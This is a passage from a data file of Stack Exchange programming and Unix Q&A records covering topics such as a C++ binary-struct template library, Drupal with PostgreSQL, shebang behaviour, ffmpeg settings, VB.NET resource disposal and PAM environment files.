field. * * Example: ValType\\ is uint32_t. * * @tparam Field field identifier */ template using ValType = typename StructTypeHandler::Handler::ValType; /** * Gets the reference type of a specific field. * Support for this depends on the type handler (e.g. nested structures). */ template using RefType = typename StructTypeHandler::Handler::RefType; /** * Gets the const-reference type of a specific field. * Support for this depends on the type handler (e.g. nested structures). */ template using ConstRefType = typename StructTypeHandler::Handler::ConstRefType; /** * Returns the size of the structure. */ inline static constexpr size_t Size () { return LastFieldInfo<>::StructSize; } /** * Reads a field. * * @tparam Field field identifier * @param data pointer to the start of a structure * @return field value that was read */ template inline static ValType get (char const *data, Field) { using Info = GetFieldInfo; return Info::Handler::get(data + Info::FieldOffset); } /** * Writes a field. * * @tparam Field field identifier * @param data pointer to the start of a structure * @param value field value to set */ template inline static void set (char *data, Field, ValType value) { using Info = GetFieldInfo; Info::Handler::set(data + Info::FieldOffset, value); } /** * Returns a reference to a field. * Support for this depends on the type handler (e.g. nested structures). */ template inline static RefType ref (char *data, Field) { using Info = GetFieldInfo; return Info::Handler::ref(data + Info::FieldOffset); } /** * Returns a const reference to a field. * Support for this depends on the type handler (e.g. nested structures). */ template inline static ConstRefType ref (char const *data, Field) { using Info = GetFieldInfo; return Info::Handler::const_ref(data + Info::FieldOffset); } /** * Returns a Ref class referencing the specified memory. * * @param data pointer to the start of a structure */ inline static Ref MakeRef (char *data) { return Ref{data}; } /** * Returns a ConstRef class referencing the specified memory. * * @param data pointer to the start of a structure */ inline static ConstRef MakeRef (char const *data) { return ConstRef{data}; } /** * Reads a structure from the specified memory location and * returns a Val class containing the structure data. * * @param data pointer to the start of a structure * @return a Val class initialized with a copy of the data */ inline static Val MakeVal (char const *data) { Val val; memcpy(val.data, data, Size()); return val; } /** * Class which contains structure data. * These can be created using StructBase::MakeVal or from * the Val conversion operators in Ref and ConstRef. */ class Val { public: using Struct = StructType; /** * Reads a field. * @see StructBase::get */ template inline ValType get (Field) const { return StructBase::get(data, Field()); } /** * Writes a field. * @see StructBase::set */ template inline void set (Field, ValType value) { StructBase::set(data, Field(), value); } /** * Returns a reference to a field. * @see StructBase::ref */ template inline RefType ref (Field) { return StructBase::ref(data, Field()); } /** * Returns a const reference to a field. * @see StructBase::ref */ template inline ConstRefType ref (Field) const { return StructBase::ref(data, Field()); } /** * Returns a Ref referencing this Val. */ inline operator Ref () { return Ref{data}; } /** * Returns a ConstRef referencing this Val. */ inline operator ConstRef () const { return ConstRef{data}; } public: /** * The data array. */ char data[LastFieldInfo<>::StructSize]; }; /** * Structure access class referencing external data via * char *. * Can be initialized via StructBase::MakeRef or Ref{data}. */ class Ref { public: using Struct = StructType; /** * Reads a field. * @see StructBase::get */ template inline ValType get (Field) const { return StructBase::get(data, Field()); } /** * Writes a field. * @see StructBase::set */ template inline void set (Field, ValType value) const { StructBase::set(data, Field(), value); } /** * Returns a reference to a field. * @see StructBase::ref */ template inline RefType ref (Field) const { return StructBase::ref(data, Field()); } /** * Returns a ConstRef referencing the same memory. */ inline operator ConstRef () const { return ConstRef{data}; } /** * Reads and returns the current structure data as a Val. */ inline operator Val () const { return MakeVal(data); } /** * Copies the structure referenced by a ConstRef * over the structure referenced by this Ref. * Note: uses memcpy, so don't use with self. */ inline void load (ConstRef src) const { memcpy(data, src.data, Size()); } public: char *data; }; /** * Structure access class referencing external data via * char const *. * Can be initialized via StructBase::MakeRef or ConstRef{data}. */ class ConstRef { public: using Struct = StructType; /** * Reads a field. * @see StructBase::get */ template inline ValType get (Field) const { return StructBase::get(data, Field()); } /** * Returns a const reference to a field. * @see StructBase::ref */ template inline ConstRefType ref (Field) const { return StructBase::ref(data, Field()); } /** * Reads and returns the current structure data as a Val. */ inline operator Val () const { return MakeVal(data); } public: char const *data; };};/** * Macro for defining structures. * @see StructBase */#define APRINTER_TSTRUCT(StructName, Fields) \\struct StructName : public APrinter::StructBase { \\ APRINTER_TSTRUCT__ADD_END(APRINTER_TSTRUCT__FIELD_1 Fields) \\ using StructFields = APrinter::MakeTypeList< \\ APRINTER_TSTRUCT__ADD_END(APRINTER_TSTRUCT__LIST_0 Fields) \\ >; \\};#define APRINTER_TSTRUCT__ADD_END(...) APRINTER_TSTRUCT__ADD_END_2(__VA_ARGS__)#define APRINTER_TSTRUCT__ADD_END_2(...) __VA_ARGS__ ## _END#define APRINTER_TSTRUCT__FIELD_1(FieldName, FieldType) \\struct FieldName : public APrinter::StructField {}; \\APRINTER_TSTRUCT__FIELD_2#define APRINTER_TSTRUCT__FIELD_2(FieldName, FieldType) \\struct FieldName : public APrinter::StructField {}; \\APRINTER_TSTRUCT__FIELD_1#define APRINTER_TSTRUCT__FIELD_1_END#define APRINTER_TSTRUCT__FIELD_2_END#define APRINTER_TSTRUCT__LIST_0(FieldName, FieldType) FieldName APRINTER_TSTRUCT__LIST_1#define APRINTER_TSTRUCT__LIST_1(FieldName, FieldType) , FieldName APRINTER_TSTRUCT__LIST_2#define APRINTER_TSTRUCT__LIST_2(FieldName, FieldType) , FieldName APRINTER_TSTRUCT__LIST_1#define APRINTER_TSTRUCT__LIST_1_END#define APRINTER_TSTRUCT__LIST_2_END/** * Structure field type handler for integer types using * big-endian representaion. * These type handlers are registered by default for signed and * unsigned fixed-width types: intN_t and uintN_t (N=8,16,32,64). * * Relies on ReadBinaryInt and WriteBinaryInt. */template struct StructBinaryTypeHandler { static size_t const FieldSize = sizeof(Type); using ValType = Type; inline static ValType get (char const *data) { return ReadBinaryInt(data); } inline static void set (char *data, ValType value) { WriteBinaryInt(value, data); }};#define APRINTER_STRUCT_REGISTER_BINARY_TYPE(Type) \\APRINTER_STRUCT_REGISTER_TYPE(Type, StructBinaryTypeHandler)APRINTER_STRUCT_REGISTER_BINARY_TYPE(uint8_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(uint16_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(uint32_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(uint64_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(int8_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(int16_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(int32_t)APRINTER_STRUCT_REGISTER_BINARY_TYPE(int64_t)/** * Type handler for structure types, allowing nesting of structures. * * It provides: * - get() and set() operations using StructType::Val. * - ref() operations using StructType::Ref and StructType::ConstRef. */template struct StructNestedTypeHandler { static size_t const FieldSize = StructType::Size(); using ValType = typename StructType::Val; using RefType = typename StructType::Ref; using ConstRefType = typename StructType::ConstRef; inline static ValType get (char const *data) { return StructType::MakeVal(data); } inline static void set (char *data, ValType value) { memcpy(data, value.data, sizeof(value.data)); } inline static RefType ref (char *data) { return RefType{data}; } inline static ConstRefType const_ref (char const *data) { return ConstRefType{data}; }};template struct StructTypeHandler, Type), void>> { using Handler = StructNestedTypeHandler;};Example code:APRINTER_TSTRUCT(HeaderFoo, (FieldA, int8_t) (FieldB, int64_t))APRINTER_TSTRUCT(HeaderBar, (FieldC, int8_t) (FieldD, uint32_t) (FieldFoo, HeaderFoo))void main (){ // Create a FooHeader::Val (a type which contains data), set field values. HeaderFoo::Val foo; foo.set(HeaderFoo::FieldA(), 30); foo.set(HeaderFoo::FieldB(), -55); // Change it via FooHeader::Ref (a type which references data). HeaderFoo::Ref foo_ref = foo; foo_ref.set(HeaderFoo::FieldA(), 61); // Get values via FooHeader::ConstRef (a type which references const data). // Note: Val, Ref and ConstRef all suppport get(). HeaderFoo::ConstRef foo_cref = foo; printf(% PRIi8 % PRIi64 \\n, foo_cref.get(HeaderFoo::FieldA()), foo_cref.get(HeaderFoo::FieldB())); // Allocate memory for a HeaderBar as char[] and initialize // parts of it through HeaderBar::Ref. char bar_mem[HeaderBar::Size()]; HeaderBar::Ref bar_ref = HeaderBar::MakeRef(bar_mem); bar_ref.set(HeaderBar::FieldC(), -75); bar_ref.set(HeaderBar::FieldD(), 70000); // Initialize the nested HeaderFoo from foo. // This goes like this: // - Get a reference to the contained HeaderFoo via .ref(), // obtaining a HeaderFoo::Ref. // - Call load() on the HeaderFoo::Ref to copy data from a // HeaderFoo::ConstRef, which is created from HeaderFoo::Val // automatically by a conversion operator. bar_ref.ref(HeaderBar::FieldFoo()).load(foo); // Get the nested HeaderFoo from bar_ref as a value. // This will be a HeaderFoo::Val. // Change the original to prove it's a copy. auto foo_copy = bar_ref.get(HeaderBar::FieldFoo()); bar_ref.ref(HeaderBar::FieldFoo()).set(HeaderFoo::FieldA(), 4); printf(% PRIi8 % PRIi8 \\n, bar_ref.ref(HeaderBar::FieldFoo()).get(HeaderFoo::FieldA()), foo_copy.get(HeaderFoo::FieldA()));}" , "title": "Library for manipulation of binary protocol headers" , "tags": "c++;serialization;template meta programming;portability" } { "id": "_unix.191582" , "question": "I want to connect to PostgreSQL 9 from Drupal 7.to install drupal files using the following steps.wget http://ftp.drupal.org/files/projects/drupal-7.15.tar.gz tar zxvf drupal-7.15.tar.gz sudo mv drupal-7.15/* /var/www/ cd /var/www/ cp sites/default/default.settings.phpsites/default/settings.phpchmod a+w sites/default/settings.php chmod a+w sites/defaultto install PostgreSQL database.createuser --pwprompt --encrypted --no-adduser --no-createdbusername createdb --encoding=UNICODE --owner=username databasenameto input my_domain in Firefox. It ran across the message: Maybe it is a problem that Drupal installation program can not access the PostgreSQL database. How to fix it?" , "title": "How to connect to PostgreSQL 9 from Drupal 7?" , "tags": "postgresql;drupal" , "accepted_answer": "By just reading the title of this question, I thought it was about How to connect from a Drupal site to some external database in PostGress format. However the details of the question are about How to use Postgress as the DBMS for hosting the database required for a Drupal site. Consider rephrasing the question title accordingly.To actually answer this question, consider looking at Install Drupal with PostgreSQL. Here is a quote from that link:Drupal is an excellent PHP content management system. It supports both MySQL and PostgreSQL as the back end database for content management. Unfortunately, PostgreSQL comes up short in the documentation department: it is not even mentioned in the Drupal INSTALL.txt file. So here we do our small part for the cause and provide some instructions to get Drupal up and running with PostgreSQL." } { "id": "_softwareengineering.198589" , "question": "When the context class can accept a null strategy, is there another way to do it without check if its null?Is this considered a good strategy design implementation?class MainApp{ static void Main(){ Context context = new Context(); while(true){ Strategy strategy = createConcreteStrategy(Console.ReadLine()); context.setStrategy(strategy); context.run(); } } static void createConcreteStrategy(string input){ if( input == strategyA ){ return new StrategyA(); } if( input == strategyB ){ return new StrategyB(); } return null; }}abstract class Strategy { public abstract void doSomething(); }class Context{ Strategy strategy; ClassX x; public Context(){} public void setStrategy(Strategy strategy){ this.strategy = strategy; } public void run(){ if( strategy != null ){ data = strategy.doSomething(); x.setData(data); } }}" , "title": "design strategy pattern with null checking" , "tags": "design;design patterns;null" , "accepted_answer": "There is absolutely a way to avoid checking for null here! Use the null object pattern, i.e.class NullStrategy: Strategy { public void doSomething() { }}and then the default case in createConcreteStrategy is return new NullStrategy() instead of return null, and then you no longer have to check if strategy is null in run.If you don't want to call x.setData with a null argument, then you could pass x to the strategy. Here's one possible implementation:class NullStrategy: Strategy { public void doSomething(ClassX x) { // don't do anything with x }}class RealStrategy: Strategy { public void doSomething(ClassX x) { var data = someOperation(); x.setData(data); }}Pushing an if-statement into an instance of Strategy makes sense to me in this situation." } { "id": "_unix.87560" , "question": "This may be a silly question, but I ask it still. If I have declared a shebang#!/bin/bash in the beginning of my_shell_script.sh, so do I always have to invoke this script using bash[my@comp]$bash my_shell_script.shor can I use e.g.[my@comp]$sh my_shell_script.shand my script determines the running shell using the shebang? Is it the same happening with ksh shell? I'm using AIX." , "title": "Does the shebang determine the shell which runs the script?" , "tags": "scripting;executable;shebang" , "accepted_answer": "The shebang #! is an human readable instance of a magic number consisting of the byte string 0x23 0x21, which is used by the exec() family of functions to determine whether the file to be executed is a script or a binary. When the shebang is present, exec() will run the executable specified after the shebang instead.Note that this means that if you invoke a script by specifying the interpreter on the command line, as is done in both cases given in the question, exec() will execute the interpreter specified on the command line, it won't even look at the script.So, as others have noted, if you want exec() to invoke the interpreter specified on the shebang line, the script must have the executable bit set and invoked as ./my_shell_script.sh.The behaviour is easy to demonstrate with the following script:#!/bin/kshreadlink /proc/$$/exeExplanation:#!/bin/ksh defines ksh to be the interpreter.$$ holds the PID of the current process. /proc/pid/exe is a symlink to the executable of the process (at least on Linux; on AIX, /proc/$$/object/a.out is a link to the executable).readlink will output the value of the symbolic link.Example:Note: I'm demonstrating this on Ubuntu, where the default shell /bin/sh is a symlink to dash i.e. /bin/dash and /bin/ksh is a symlink to /etc/alternatives/ksh, which in turn is a symlink to /bin/pdksh.$ chmod +x getshell.sh$ ./getshell.sh /bin/pdksh$ bash getshell.sh /bin/bash$ sh getshell.sh /bin/dash" } { "id": "_unix.11639" , "question": "Would anyone have any tips on optimizing video to FLV conversion using ffmpeg so I would get a medium quality video which is not very large?I have a video site where users can upload videos which will be converted to FLV and displayed. Those videos are shown at the size 420x350. I'm using FFMPEG to convert then to FLV, through the following command:ffmpeg -i $in $outI find the result to be pretty low quality and whenever I try to change settings, the output will be a very large file. For instance, I've tried this: ffmpeg -i $in -sameq -ar 11025 -ab 32 -deinterlace -nr 500 -r 20 -g 500 -s 420x350 -aspect 4:3 -me_range 20 -b 270k -f flv -y $out" , "title": "FFMPEG video to FLV conversion optimization" , "tags": "ffmpeg" } { "id": "_unix.325488" , "question": "I'm using find to prune old files, lots of them.. this takes minutes / hours to run and other server processes encounter IO performance issues. find -mtime +100 -delete -printI tried ionice but it didn't appear to help. ionice -c 3 What can one do to 1. speed up the find operation and 2. to avoid impacting other processes?The FS is ext4.. is ext4 just bad at this kind of workload?Kernel is 3.16Storage is 2x 1TB 7200rpm HDDs in RAID 1.There's 93GB in 610228 files now, so 152KB/file on average.Maybe I just shouldn't store so many files in a single directory?" , "title": "Deleting old files is slow and 'kills' IO performance" , "tags": "linux;debian;ext4" } { "id": "_unix.294654" , "question": "I was trying to check the amount of hard drive by typing df -hIts showing me below status since long time. svn_manager@fileserver:~$ df -h ^C^C^C^C^C^C^C^C^C^Z^Z^Z^X^X^C^C^C^C^C^C^C^CI have 1 network shared folder mounted and 1 usb drive attached but both the shared function working from other pc.I tried to kill by using Crtl+c | Crtl+z | Crtl+d but no success.Closing the terminal work but when i reopen the terminal and run it again its having same issue.Please advise." , "title": "df -h unable to show the command output on a Linux System" , "tags": "disk usage" } { "id": "_codereview.20375" , "question": "I have this method that basically takes a string and does different thingsdepending on what the string starts with. Is there a cleaner way to write this method?public String analyze(BotMessage message){ String lcmsg = message.message().toLowerCase(); //Not a command if(!lcmsg.startsWith(!)) return -1; //Message from whatever if(lcmsg.startsWith(!ping)) return pong!; if(lcmsg.startsWith(!tournament)) return tournament(message); //message from skype if(message.skype()) { if(lcmsg.startsWith(!settournament)) return settournament(message); if(lcmsg.startsWith(!promote)) return promote(message); if(lcmsg.startsWith(!checkin)) return checkin(message); if(lcmsg.startsWith(!checkout)) return checkout(message); if(lcmsg.startsWith(!checkedin)) return checkedin(message); if(lcmsg.startsWith(!updatetournament)) return updatetournament(); } return -1;}" , "title": "Conditional execution based on input string's prefix" , "tags": "java;strings" , "accepted_answer": "I don't like too much the fact that you use a String as the returned type of your function.What about using a class hierarchy or exceptions?I see opportunities to create a hierarchy even for the messages. Why don't you create a BotMessage and a SkypeMessage?Both should have the logic to decide what to do in the base case, maybe in an analyze method. The analyze method of the SkypeMessage should, in addition, manage the Skype-specific aspects.Finally you should simplify the code and remove the list of if statements.Introduce a new set of objects to parse the messages. These objects should have a match method that check whether the string matches with their definition, and a performAction method that generates the return value." } { "id": "_webapps.106171" , "question": "I am looking to build a form that asks a customer for a list of items (in this case locations and their website) on page 1, and on page 2 I want some elaboration on the specfics for the website.I am trying to capture the domain field from my table as a calculated value in the 2nd recurring section or table. However I can only get all entries or none. What i'd like is this:table 1:entry 1: location|variable|variable|websiteentry 2: location|variable|variable|websiteetc.table 2:entry 1: (calc)location from table1.entry1|(calc)website from table1.entry1|variable|variableentry 2: (calc)location from table1.entry2|(calc)website from table1.entry2|variable|variableetc.I have tried the following:=Form.SECTION1.TABLE1.Where(ItemNumber = Form.SECTION2.TABLE2.ItemNumber).Select(Website)(basically I am trying to dynamically generate the ItemNumber = 1, 2, 3, etc. by equating this to the current ItemNumber in the table)If this would work with recurring sections I'd be just as happy.is there any way to accomplish this?" , "title": "Reference a line/item from a recurring section/table in another recurring section/table" , "tags": "cognito forms" } { "id": "_codereview.145348" , "question": "In our latest Veracode scan for an application, I have come across the issue of Improper Resource Shutdown or Release. It is pointing at a function. Here's what the code looks like:Imports System.Data.SqlClientPublic Class DAL Public Shared ConnString As String = ConfigurationManager.ConnectionStrings(connection).ConnectionStringPublic Shared Function CheckSecurity(ByVal strUserID As String, ByVal strOperation As String, ByVal strAppID As String) As Boolean Dim sbSQL As New StringBuilder Dim MyConnection As SqlConnection = New SqlConnection() Dim sqlCmd As SqlCommand = New SqlCommand MyConnection.ConnectionString = ConnString sbSQL.Clear() sbSQL.AppendLine(EXEC dbo.CheckSecurity @UserID, @AppID, @Operation) sqlCmd.CommandText = sbSQL.ToString sqlCmd.Connection = MyConnection With sqlCmd.Parameters .Clear() .Add(@UserID, SqlDbType.VarChar, 15).Value = strUserID .Add(@AppID, SqlDbType.VarChar, 50).Value = strAppID .Add(@Operation, SqlDbType.VarChar, 50).Value = strOperation End With Try If getDataTableFromSqlCmd(sqlCmd).Rows.Count > 0 Then CheckSecurity = True Else CheckSecurity = False End If Catch ex As Exception Throw New ApplicationException(SECURITY ACCESS ERROR) Finally If MyConnection.State = ConnectionState.Open Then MyConnection.Close() End If MyConnection.Dispose() sqlCmd.Dispose() End TryEnd FunctionCode for getDataTableFromSqlCMD:Public Shared Function getDataTableFromSqlCmd(ByVal sqlCmd As SqlCommand) As DataTable Dim dt As New DataTable Dim MyAdapter As New SqlDataAdapter(sqlCmd) Try sqlCmd.CommandTimeout = m_iSQLTimeOut MyAdapter.Fill(dt) getDataTableFromSqlCmd = dt Catch ex As Exception Throw New ApplicationException(GET DATA TABLE ERROR) Finally sqlCmd.Dispose() MyAdapter.Dispose() dt.Dispose() End TryEnd FunctionAs far as I can tell the resources in this code are being properly deallocated. Am I missing something?" , "title": "Security check using an SQL call" , "tags": "sql;vb.net;authorization" , "accepted_answer": "It needs more Using statements. For example:Public Shared Function CheckSecurity(strUserID$, strOperation$, strAppID$) As Boolean Try Using da As New SqlDataAdapter(dbo.CheckSecurity, ConnString) Dim sc = da.SelectCommand, p = sc.Parameters, dt = New DataTable sc.CommandType = CommandType.StoredProcedure sc.CommandTimeout = m_iSQLTimeOut p.Add(@UserID, SqlDbType.VarChar, 15).Value = strUserID p.Add(@AppID, SqlDbType.VarChar, 50).Value = strAppID p.Add(@Operation, SqlDbType.VarChar, 50).Value = strOperation Return da.Fill(dt) > 0 ' .Fill returns the number of rows successfully added End Using ' da is disposed here even if Exception occurs Catch ex As Exception Throw New ApplicationException(SECURITY ACCESS ERROR) End Try Return FalseEnd Functionor Public Shared Function CheckSecurity(strUserID$, strOperation$, strAppID$) As Boolean Try Using con = New SqlConnection(ConnString), cmd = New SqlCommand(dbo.CheckSecurity, con) cmd.CommandType = CommandType.StoredProcedure cmd.CommandTimeout = m_iSQLTimeOut cmd.Parameters.Add(@UserID, SqlDbType.VarChar, 15).Value = strUserID cmd.Parameters.Add(@AppID, SqlDbType.VarChar, 50).Value = strAppID cmd.Parameters.Add(@Operation, SqlDbType.VarChar, 50).Value = strOperation con.Open() Using reader = cmd.ExecuteReader Return reader.HasRows End Using End Using ' con and cmd are closed and disposed here even if Exception occurs Catch ex As Exception Throw New ApplicationException(SECURITY ACCESS ERROR) End Try Return FalseEnd FunctionSome other examples https://stackoverflow.com/questions/24023575/how-to-pass-parameters-to-sqldataadapter, https://stackoverflow.com/questions/14566980/c-sharp-data-adapter-parameters" } { "id": "_unix.184429" , "question": "I've successfully set up an sftp with authentication on Active Directory. All users in a particular AD group are managed by SSH's sftp subsystem and chrooted into a common home directory, let's say /upload. This works fine except that everytime a user logs in, a file named .k5login is created and remains there. I could delete the file, but whenever a user logs in, the file is created again.I've used pbis-open to connect the workstation to the domain, but I think my issue is not related to this particular package.From what I saw, this file is required by the kerberos authentication framework, but how can I avoid this? Can I modify the creation path of this file, let's say in /tmp? " , "title": "Avoid creation of .k5login file in a SFTP Chroot configuration" , "tags": "ssh;sftp;active directory" } { "id": "_unix.279107" , "question": "I tried to persist the environment variables for ORACLE in RedHat using/etc/environmentIt cleared my PATH variable, no command was recognized afterwards.Why does it happen, since just executing the same commands in the shell just works fine! Variables, which i added to the environmentORACLE_HOME=/usr/lib/oracle/12.1/client64PATH=$ORACLE_HOME/bin:$PATHLD_LIBRARY_PATH=$ORACLE_HOME/lib" , "title": "Why does environment variables persistance breaks the PATH var" , "tags": "environment variables" , "accepted_answer": "/etc/environment is a configuration file for pam_env, not a file read by a shell. The syntax is somewhat similar, but it is not the same. In particular, you can't refer to existing variables: you've set your search path to contain $ORACLE_HOME/bin and $PATH, i.e. directories with a dollar sign in their name.To set variables for all users, you can edit /etc/security/pam_env.conf, which has a different, richer syntax, but still not as rich as what you can do in a shell.ORACLE_HOME DEFAULT=/usr/lib/oracle/12.1/client64PATH OVERRIDE=/usr/local/bin:/usr/bin:/bin:${ORACLE_HOME}/binLD_LIBRARY_PATH DEFAULT=$ORACLE_HOME/libNote that you can refer to other variables, but you can't refer to a variable's previous value.If you want a more flexible approach, add the variable definitions to /etc/profile instead. There you can use all shell constructs. The downside is that this is only read in login sessions, not e.g. by cron. You can easily benefit from them by adding . /etc/profile; at the beginning of your cron jobs however.export ORACLE_HOME=/usr/lib/oracle/12.1/client64PATH=$ORACLE_HOME/bin:$PATHexport LD_LIBRARY_PATH=$ORACLE_HOME/lib" } { "id": "_unix.105005" , "question": "How can I make a shared library which is in /usr/lib/some-path linkable with the g++ -l argument when compiling?As far as I know, to do what I want, I need to chmod 0755 the library .so file, create some kind of a link file and I need to update the library cache. I tried using ldconfig command and it worked, but not for the subdirectories of /usr/lib. I also tried ln -s /usr/lib/some-path/libmy.so /link/file/output/dir which created a link file, but g++ still couldn't find the library with the -lmy. I tied running ldconfig after ln but that did not help." , "title": "How to make a library linkable with g++ -l argument" , "tags": "libraries;g++" } { "id": "_webmaster.34094" , "question": "Is there a way to separate out browser usage by location in Google Analytics? Like for example, seeing that all traffic from Nevada came from what browsers? Or, selecting a single browser and seeing where all of the traffic came from that used that browser?" , "title": "View browser usage by location in Google Analytics" , "tags": "google analytics" , "accepted_answer": "From the default reporting page for the property you would like to review:Go to the Audience tab in the left menu bar and select Demographics then LocationSelect Technology then Browser from the Secondary Dimension menu (just above the data table)Switch between geographic divisions (Country/Territory, City, Continent, Sub Continent Region), click through linked regions in the data table, and/or use the search box to drill down to the locations you'd like to review" } { "id": "_scicomp.25702" , "question": "Consider the 1D poisson equation$$\\frac{d^2 u}{dx^2} = -\\rho$$with Dirichlet boundary conditions $u(0) = u(l) = g$. Using a finite difference scheme, with a 5-point grid $u_1,u_2,u_3,u_4,u_5$ (excluding boundary points $u_0$ and $u_l$), we get the set of linear equations$$\\left( \\begin{array}{ccc}2 & -1 & & & \\\\-1 & 2 & -1 & & \\\\ & -1 & 2 & -1 & \\\\ & & -1 & 2 & -1 \\\\ & & & -1 & 2 \\\\\\end{array} \\right)\\left( \\begin{array}{c} u_1 \\\\ u_2 \\\\ u_3 \\\\ u_4 \\\\ u_5\\end{array} \\right) = \\left( \\begin{array}{c} \\rho_1+g \\\\ \\rho_2 \\\\ \\rho_3 \\\\ \\rho_4 \\\\ \\rho_5+g\\end{array} \\right)$$My question is: What would the matrix look like if I made $u_3$ a boundary point too?Would it look like$$\\left( \\begin{array}{ccc}2 & -1 & & & \\\\-1 & 2 & 0 & & \\\\ & 0 & 1 & 0 & \\\\ & & 0 & 2 & -1 \\\\ & & & -1 & 2 \\\\\\end{array} \\right)\\left( \\begin{array}{c} u_1 \\\\ u_2 \\\\ u_3 \\\\ u_4 \\\\ u_5\\end{array} \\right) = \\left( \\begin{array}{c} \\rho_1+g \\\\ \\rho_2+g \\\\ g \\\\ \\rho_4+g \\\\ \\rho_5+g\\end{array} \\right)$$I ask because I have a 3d system with small but irregular internal boundary regions, and it would be currently more convenient for my purposes to leave them in the matrix (even if it means extra computational cost)." , "title": "Explicitly including boundary points in a set of finite-difference equations" , "tags": "finite difference;poisson" , "accepted_answer": "If you include the boundary condition directly in the matrix, you will only get the g value at the points where the boundary is prescribed. If we use 5 nodes with the following BCS:$$u_1=g_1$$ and $$u_5=g_5$$Then the matrix resulting from the finite difference will be:$$\\left( \\begin{array}{ccc}1 & 0 & & & \\\\-1 & 2 & -1 & & \\\\ & -1 & 2 & -1 & \\\\ & & -1 & 2 & -1 \\\\ & & & 0 & 1 \\\\\\end{array} \\right)\\left( \\begin{array}{c} u_1 \\\\ u_2 \\\\ u_3 \\\\ u_4 \\\\ u_5\\end{array} \\right) = \\left( \\begin{array}{c} g_1 \\\\ \\rho_2 \\\\ \\rho_3 \\\\ \\rho_4 \\\\ g_5\\end{array} \\right)$$That is, the value of $$u_1$$ and $$u_5$$ follow the Dirichlet BCs and within the domain, the Poisson equation applies.If you have Neumann boundary conditions or Robin Boundary condition, than line 1 and 5 will have to change to respect the application of these boundary conditions.If the third point is a boundary point and following my example, then the resulting matrix should be :$$\\left( \\begin{array}{ccc}1 & 0 & & & \\\\-1 & 2 & -1 & & \\\\ & 0 & 1 & 0 & \\\\ & & -1 & 2 & -1 \\\\ & & & 0 & 1 \\\\\\end{array} \\right)\\left( \\begin{array}{c} u_1 \\\\ u_2 \\\\ u_3 \\\\ u_4 \\\\ u_5\\end{array} \\right) = \\left( \\begin{array}{c} g_1 \\\\ \\rho_2 \\\\ g_3 \\\\ \\rho_4 \\\\ g_5\\end{array} \\right)$$But this is impossible in our case, since this would imply prescribing 3 conditions on a problem which requires 2.In 2D, however, you will get lines with strictly diagonal term that appear within the matrix due to Dirichlet BCs." } { "id": "_unix.305024" , "question": "I recently moved my Debian Gnome 3 installation to a new computer with a GTX 1070. I had previously installed old Nvidia drivers which didn't support the 1070, so when I booted up I was faced with a blinking prompt. To remedy this, I went into the command prompt with CTRL-ALT-F2, did sudo apt-get purge nvidia* and installed the Nvidia 367.27 Drivers. When I rebooted after installing the drivers successfully, Debian displayed Loading, please wait..., indefinitely. When I rebooted again, it (Gnome, I presume) displayed this Oh no! Something has gone wrong. message. Now, when I boot into Debian, I always get one of those two messages.Does anyone have a clue what has gone wrong? Is there any way to fix this, or is it time for me to reinstall?" , "title": "Debian installation not booting after Nvidia drivers installation" , "tags": "debian;nvidia" } { "id": "_softwareengineering.107687" , "question": "I've been messing around with functional programming languages for a few years, and I keep encountering this phrase. For example, it is a chapter of The Little Schemer, which certainly predates the blog by this name. (No, the chapter doesn't help answer my question.)I understand what lambda means, the idea of an anonymous function is both simple and powerful, but I fail to understand what the ultimate means in this context.Places that I've seen this phrase:The title of chapter 8 of The Little SchemerA blog: http://lambda-the-ultimate.org/A series of Lambda the ultimate X papers: http://library.readscheme.org/page1.htmlI feel like I'm missing a reference here, can anyone help?" , "title": "What is the origin and meaning of the phrase Lambda the ultimate?" , "tags": "functional programming;terminology;history;lambda" , "accepted_answer": "Yes, it's simply a recurring phrase in the title of several papers, starting from a couple in the 70s, in which Sussman and Steele demonstrate the use of lambda calculus for programming, by means of a minimalist Lisp dialect named Scheme they devised for the purpose. You can find the papers themselves here; they're interesting and surprisingly relevant.I'm not sure if this is ever explicitly stated, but it's clear (from context, having read the papers, and knowing the general background and research interests of the authors) that the phrase is simply a catchy slogan for their contention that lambda abstractions, as a computational primitive, are not only universal in the formal sense (of being able to encode any program in some fashion, however awkward), but universal in a practical sense that any and every construct present in other languages, even those that are baked-in from the ground up, can be reimplemented in a lambda-based language in a way that is both effective and natural to use.The repeated phrase leads to the obvious generalized form for all X, lambda is the ultimate X, which is the sense I've generally taken Lambda the Ultimate to mean as the blog name, noting that LtU is concerned with programming language design and theory. Ironically, LtU would probably also be one of the best places to find someone who could tell you about something for which lambda is not the ultimate implementation. :]Note also that Sussman is one of the authors of SICP, a very influential textbook that also uses the Scheme language and spends a fair amount of time introducing lambda abstractions as a concept." } { "id": "_softwareengineering.117378" , "question": "We have outsourced the html and css design to an external company. We want to make sure the quality of code is good. What benchmarks can we set to achieve this." , "title": "How do I validate the html/css and JS code outsourced to an external company." , "tags": "javascript;css" } { "id": "_codereview.30498" , "question": "I'd like feedback on my callbacks/promises alternative, please.The yld repositoryvar yld;yld = (function () {'use strict';var slice, clearer, defer, prepare, yld;slice = Array.prototype.slice;clearer = { yld: { value: undefined }, throw: { value: undefined }};Object.freeze(clearer);defer = typeof process === 'object' && typeof process.nextTick === 'function' ? process.nextTick : function nextTick(closure) { setTimeout(closure);};prepare = function* (parent) { var proto, generator, fnGenerator, response; proto = { yld: function (fn) { var parent; parent = this; return function () { var generator, proto, fnGenerator; generator = prepare(parent); proto = generator.next().value; generator.next(generator); fnGenerator = fn.apply(proto, arguments); generator.next(fnGenerator); return Object.create(proto, clearer); }; }, next: function (value) { defer(function () { generator.next(value); }); }, nextCb: function () { var value; value = slice.call(arguments); defer(function () { generator.next(value); }); }, throw: function(error) { defer(function() { fnGenerator.throw(error); }); } }; if (parent !== undefined) { proto.parent = Object.create(parent, clearer); } generator = yield proto; fnGenerator = yield null; while (true) { response = yield defer(function () { fnGenerator.next(response); }); }};yld = function (fn) { return function () { var generator, proto, fnGenerator; generator = prepare(); proto = generator.next().value; generator.next(generator); fnGenerator = fn.apply(proto, arguments); generator.next(fnGenerator); return Object.create(proto, clearer); };};return yld;}());if (typeof module === 'object' && module.exports !== undefined) { module.exports = yld;}" , "title": "My yld NPM - callbacks/promises alternative" , "tags": "javascript;node.js;callback;promise" } { "id": "_codereview.94277" , "question": "The prompt that made me put this function 